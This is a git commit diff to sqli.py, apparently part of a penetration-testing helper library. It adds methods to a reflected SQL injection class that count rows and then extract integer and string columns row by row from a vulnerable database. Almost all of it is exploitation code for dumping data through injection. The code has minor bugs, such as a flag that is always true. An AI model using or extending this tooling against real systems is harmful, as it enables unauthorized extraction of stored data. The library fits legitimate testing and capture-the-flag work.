reflected sqli multiple

This commit is contained in:
Roman Hergenreder 2024-02-25 15:31:29 +01:00
parent 546d6c8447
commit b5296b3ff4

67
sqli.py

@ -68,11 +68,11 @@ class ReflectedSQLi(SQLi, ABC):
self.column_types = column_types
@abstractmethod
def reflected_sqli(columns: list, table=None, condition=None, offset=None):
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
pass
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
query_columns = [column] + list(map(lambda c: f"'{c}'", range(2, len(self.column_types))))
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
@ -85,6 +85,69 @@ class ReflectedSQLi(SQLi, ABC):
query_columns[str_column] = column
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
if isinstance(columns, str):
columns = [columns]
one = True
column_count = len(columns)
if len(self.column_types) < column_count:
print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
return None
query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
rows.append(int(row[0]))
else:
rows.append(list(map(lambda i: int(row[i]), range(column_count))))
return rows
def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
if isinstance(columns, str):
columns = [columns]
one = True
column_count = len(columns)
if self.column_types.count(str) < column_count:
print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
return None
query_columns = list(map(str, range(1, len(self.column_types) + 1)))
offsets = list(None for _ in range(column_count))
offset = 0
for i, column in enumerate(columns):
while self.column_types[offset] != str:
offset += 1
offsets[i] = offset
query_columns[offset] = column
offset += 1
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
rows.append(row[offsets[0]])
else:
rows.append(list(map(lambda o: row[o], offsets)))
return rows
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
class BlindSQLi(SQLi, ABC):
@abstractmethod